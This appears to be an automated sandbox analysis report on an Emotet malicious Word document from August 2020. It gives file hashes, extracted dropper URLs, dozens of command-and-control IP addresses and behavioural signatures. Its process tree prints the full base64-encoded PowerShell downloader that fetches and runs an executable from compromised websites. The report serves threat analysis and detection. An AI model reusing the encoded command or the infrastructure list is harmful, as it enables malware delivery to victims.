Analysis
- max time kernel
135s - max time network
142s - platform
windows10_x64 - resource
win10 - submitted
25/08/2020, 01:15
Static task
static1
Behavioral task
behavioral1
Sample
emotet_e3_d1c250736a3b00f9bdf7091b97038168f80c4e337a1a216818d0edac97c2ecb9_2020-08-25__011453._doc.doc
Resource
win7v200722
General
- Target emotet_e3_d1c250736a3b00f9bdf7091b97038168f80c4e337a1a216818d0edac97c2ecb9_2020-08-25__011453._doc.doc
- Size 230KB
- Sample200825-3s2pdckbyj
- SHA256 d1c250736a3b00f9bdf7091b97038168f80c4e337a1a216818d0edac97c2ecb9
- MD5 1353aa99326cb9858fbad1156d3b7e7c
- SHA1 659e495c5d1dedf804336b719b0f8558ec6b13d4
- SHA512 e04799fffa5f44af759842bf584d29871e2818526e0478f5ee6f10e26b6035751b877e07d3febfa67b165d448fd71e6bb1ea189ae699af1861c88b2cf124e975
- MD5 SHA1 SHA512
Malware Config
Extracted
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ps1
-
exe.dropper
http://mathisprost.lu/wp-admin/EjNkLlwjGEk/
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exe.dropper
http://www.mexpresscargo.com/apmbh/uEJLd4i3b12/
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exe.dropper
http://facanha.com.br/temp/XVmDFA/
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exe.dropper
http://www.dougsuniverse.com/pics/VzC1ngzg67686813/
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exe.dropper
http://admvero.com.br/minhaagua/fmeogbIkCT/
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exe.dropper
https://itisfuture.com/wp-content/Zg21h52700782/
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exe.dropper
https://alameenmission.net/data_backup/fSQiDxHCGysYT/
Extracted
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emotet
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162.249.220.190:80
-
85.25.207.108:8080
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178.128.14.92:8080
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50.116.78.109:8080
-
181.113.229.139:443
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192.241.220.183:8080
-
203.153.216.178:7080
-
177.32.8.85:80
-
139.99.157.213:8080
-
31.146.61.34:80
-
192.210.217.94:8080
-
188.251.213.180:443
-
185.208.226.142:8080
-
198.57.203.63:8080
-
220.254.198.228:443
-
201.213.177.139:80
-
197.221.158.162:80
-
95.216.205.155:8080
-
177.94.227.143:80
-
115.78.11.155:80
-
178.33.167.120:8080
-
190.164.75.175:80
-
115.79.195.246:80
-
112.78.142.170:80
-
37.46.129.215:8080
-
139.59.12.63:8080
-
186.109.152.201:80
-
201.235.10.215:80
-
190.53.144.120:80
-
77.74.78.80:443
-
86.98.143.163:80
-
75.127.14.170:8080
-
74.208.173.91:8080
-
87.106.231.60:8080
-
172.105.78.244:8080
-
81.214.253.80:443
-
143.95.101.72:8080
-
202.5.47.71:80
-
113.161.148.81:80
-
81.17.93.134:80
-
157.7.164.178:8081
-
66.61.94.36:80
-
51.38.201.19:7080
-
192.163.221.191:8080
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168.0.97.6:80
-
181.114.114.203:80
-
188.0.135.237:80
-
118.70.15.19:8080
-
107.161.30.122:8080
-
190.190.15.20:80
-
185.86.148.68:443
-
86.57.216.23:80
-
60.125.114.64:443
-
179.5.118.12:80
-
195.201.56.70:8080
-
91.83.93.103:443
-
179.62.238.49:80
-
197.249.6.179:443
-
175.29.183.2:80
-
177.144.130.105:443
-
71.57.180.213:80
-
190.212.140.6:80
-
113.203.250.121:443
-
172.96.190.154:8080
-
41.185.29.128:8080
-
181.126.54.234:80
-
185.142.236.163:443
-
173.94.215.84:80
-
5.79.70.250:8080
-
181.137.229.1:80
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78.189.60.109:443
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46.32.229.152:8080
-
217.199.160.224:8080
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46.105.131.68:8080
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216.75.37.196:8080
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105.209.235.113:8080
Signatures
- Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
description pid pid_target Process procid_target Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 3156 3864 powersheLL.exe 68 - Blacklisted process makes network request 1 IoCs
flow pid Process 9 3156 powersheLL.exe - Executes dropped EXE 2 IoCs
pid Process 1500 Qwe8qg.exe 2160 ir50_qc.exe - Drops file in System32 directory 1 IoCs
description ioc Process File opened for modification C:\Windows\SysWOW64\KBDSYR1\ir50_qc.exe Qwe8qg.exe - Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Process Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString WINWORD.EXE - Enumerates system info in registry 2 TTPs 3 IoCs
description ioc Process Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU WINWORD.EXE - Suspicious behavior: AddClipboardFormatListener 2 IoCs
pid Process 716 WINWORD.EXE 716 WINWORD.EXE - Suspicious behavior: EnumeratesProcesses 7 IoCs
pid Process 3156 powersheLL.exe 3156 powersheLL.exe 3156 powersheLL.exe 2160 ir50_qc.exe 2160 ir50_qc.exe 2160 ir50_qc.exe 2160 ir50_qc.exe - Suspicious use of AdjustPrivilegeToken 1 IoCs
description pid Process Token: SeDebugPrivilege 3156 powersheLL.exe - Suspicious use of SetWindowsHookEx 13 IoCs
pid Process 716 WINWORD.EXE 716 WINWORD.EXE 716 WINWORD.EXE 716 WINWORD.EXE 716 WINWORD.EXE 716 WINWORD.EXE 716 WINWORD.EXE 716 WINWORD.EXE 716 WINWORD.EXE 1500 Qwe8qg.exe 1500 Qwe8qg.exe 2160 ir50_qc.exe 2160 ir50_qc.exe - Suspicious use of WriteProcessMemory 6 IoCs
description pid Process procid_target PID 3156 wrote to memory of 1500 3156 powersheLL.exe 73 PID 3156 wrote to memory of 1500 3156 powersheLL.exe 73 PID 3156 wrote to memory of 1500 3156 powersheLL.exe 73 PID 1500 wrote to memory of 2160 1500 Qwe8qg.exe 76 PID 1500 wrote to memory of 2160 1500 Qwe8qg.exe 76 PID 1500 wrote to memory of 2160 1500 Qwe8qg.exe 76
Processes
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C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e3_d1c250736a3b00f9bdf7091b97038168f80c4e337a1a216818d0edac97c2ecb9_2020-08-25__011453._doc.doc" /o ""1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:716
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C:\Windows\System32\WindowsPowerShell\v1.0\powersheLL.exepowersheLL -e JABSAG8AcwBzADcAegAxAD0AKAAnAFEAJwArACcAZQB1ACcAKwAnAHYAcQBtAHkAJwApADsALgAoACcAbgBlACcAKwAnAHcALQBpAHQAJwArACcAZQBtACcAKQAgACQARQBuAHYAOgBUAGUAbQBQAFwAbwBGAGYAaQBDAEUAMgAwADEAOQAgAC0AaQB0AGUAbQB0AHkAcABlACAAZABJAHIARQBDAFQAbwBSAHkAOwBbAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgAiAHMAYABFAGAAYwBgAFUAUgBJAHQAYABZAFAAcgBvAHQATwBjAE8AbAAiACAAPQAgACgAJwB0ACcAKwAnAGwAcwAxADIALAAnACsAJwAgACcAKwAnAHQAbABzADEAMQAsACcAKwAnACAAdABsAHMAJwApADsAJABYAHMAcwA4AGcAdgA0ACAAPQAgACgAJwBRACcAKwAnAHcAZQA4AHEAZwAnACkAOwAkAFAANgBkADgANgA0ADkAPQAoACcATgByACcAKwAnAHEAagBvAGwAJwArACcANAAnACkAOwAkAE0AcgBmAHEAXwB5ADYAPQAkAGUAbgB2ADoAdABlAG0AcAArACgAKAAnAHsAMAB9ACcAKwAnAE8AZgBmAGkAJwArACcAYwBlACcAKwAnADIAMAAxADkAewAwACcAKwAnAH0AJwApACAAIAAtAEYAWwBjAEgAQQByAF0AOQAyACkAKwAkAFgAcwBzADgAZwB2ADQAKwAoACcALgBlACcAKwAnAHgAZQAnACkAOwAkAFUAMgA2ADQANgBlAGsAPQAoACcATwAnACsAJwA2AHAAagB2AHIANwAnACkAOwAkAFcAOQB6AHYAbwB3AHcAPQAuACgAJwBuAGUAJwArACcAdwAtAG8AJwArACcAYgBqAGUAYwB0ACcAKQAgAE4ARQBUAC4AVwBlAGIAQwBMAGkAZQBuAHQAOwAkAEcAMQBrADQAbQBrADUAPQAoACcAaAAnACsAJwB0ACcAKwAnAHQAcAA6AC8ALwBtAGEAdABoAGkAJwArACcAcwBwAHIAbwBzAHQALgBsAHUALwB3AHAALQAnACsAJwBhAGQAbQAnACsAJwBpACcAKwAnAG4AJwArACcALwBFAGoATgBrACcAKwAnAEwAbAB3AGoARwBFAGsALwAqAGgAJwArACcAdAB0AHAAOgAvAC8AdwB3AHcALgBtAGUAeABwAHIAZQBzAHMAYwBhAHIAZwBvACcAKwAnAC4AJwArACcAYwAnACsAJwBvAG0ALwBhAHAAbQBiAGgALwB1AEUASgBMACcAKwAnAGQAJwArACcANABpADMAYgAnACsAJwAxACcAKwAnADIALwAqAGgAdAB0AHAAOgAvACcAKwAnAC8AZgBhAGMAYQBuAGgAJwArACcAYQAnACsAJwAuAGMAbwBtAC4AYgByAC8AdABlACcAKwAnAG0AcAAvAFgAVgBtAEQARgBBACcAKwAnAC8AKgBoAHQAdABwADoALwAvAHcAdwAnACsAJwB3AC4AZABvACcAKwAnAHUAJwArACcAZwBzAHUAbgBpACcAKwAnAHYAJwArACcAZQByAHMAZQAuAGMAbwBtAC8AJwArACcAcABpAGMAcwAvAFYAegBDACcAKwAnADEAbgBnAHoAZwA2ADcANgA4ADYAOAAxADMALwAqACcAKwAnAGgAdAB0AHAAOgAvAC8AYQAnACsAJwBkAG0AdgBlAHIAbwAuAGMAbwBtAC4AJwArACcAYgByACcAKwAnAC8AbQBpAG4AaABhAGEAZwAnACsAJwB1AGEALwAnACsAJwBmAG0AZQBvAGcAYgBJAGsAQwBUAC8AKgBoACcAKwAnAHQAdABwAHMAOgAnACsAJwAvAC8AaQB0ACcAKwAnAGkAJwArACcAcwBmAHUAdAAnACsAJwB1ACcAKwAnAHIAJwArACcAZQAuAGMAbwBtAC8AJwArACcAdwBwAC0AYwBvAG4AdAAnACsAJwBlAG4AdAAvAFoAZwAnACsAJwAyADEAaAAnACsAJwA1ADIANwAwACcAKwAnADAANwA4ADIALwAnACsAJwAqAGgAdAB0AHAAJwArACcAcwAnACsAJwA6ACcAKwAnAC8ALwBhAGwAJwArACcAYQBtACcAKwAnAGUAZQBuAG0AaQBzAHMAaQBvAG4ALgBuAGUAdAAvAGQAYQB0AGEAXwAnACsAJwBiAGEAYwBrAHUAcAAvAGYAJwArACcAUwBRAGkAJwArACcARAB4AEgAQwBHAHkAcwBZAFQALwAnACkALgAiAFMAYABQAGwASQB0ACIAKABbAGMAaABhAHIAXQA0ADIAKQA7ACQATgBxADgAeQA0ADMANwA9ACgAJwBTAGsAYgAnACsAJwBkAF8AZAAnACsAJwBqACcAKQA7AGYAbwByAGUAYQBjAGgAKAAkAEMAawA3ADkAMwA1AGwAIABpAG4AIAAkAEcAMQBrADQAbQBrADUAKQB7AHQAcgB5AHsAJABXADkAegB2AG8AdwB3AC4AIgBkAG8AYAB3AE4ATABgAE8AYQBkAGAARgBpAEwARQAiACgAJABDAGsANwA5ADMANQBsACwAIAAkAE0AcgBmAHEAXwB5ADYAKQA7ACQAVgBvAG0AZwB2AG4AZAA9ACgAJwBPAG4AbgBfACcAKwAnAG4AeQAnACsAJwBqACcAKQA7AEkAZgAgACgAKAAmACgAJwBHACcAKwAnAGUAJwArACcAdAAtAEkAdABlAG0AJwApACAAJABNAHIAZgBxAF8AeQA2ACkALgAiAGwAZQBuAGAAZwBUAEgAIgAgAC0AZwBlACAAMgAwADcAMQAyACkAIAB7ACYAKAAnAEkAbgB2AG8AJwArACcAawBlAC0AJwArACcASQB0AGUAJwArACcAbQAnACkAKAAkAE0AcgBmAHEAXwB5ADYAKQA7ACQATgAxADAAcABmAHAAYQA9ACgAJwBKAGQAdQBkAGgAJwArACcAMgBxACcAKQA7AGIAcgBlAGEAawA7ACQAUgBwAGcAZgAxAG4AZgA9ACgAJwBMAGQAcAAnACsAJwBwADcAZgAnACsAJwBiACcAKQB9AH0AYwBhAHQAYwBoAHsAfQB9ACQAWgBzAHMAbgBsAGwAegA9ACgAJwBJAGwAaQBrACcAKwAnAHQAJwArACcAbgBuACcAKQA=1⤵
- Process spawned unexpected child process
- Blacklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3156 -
C:\Users\Admin\AppData\Local\Temp\Office2019\Qwe8qg.exe"C:\Users\Admin\AppData\Local\Temp\Office2019\Qwe8qg.exe"2⤵
- Executes dropped EXE
- Drops file in System32 directory
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1500 -
C:\Windows\SysWOW64\KBDSYR1\ir50_qc.exe"C:\Windows\SysWOW64\KBDSYR1\ir50_qc.exe"3⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of SetWindowsHookEx
PID:2160
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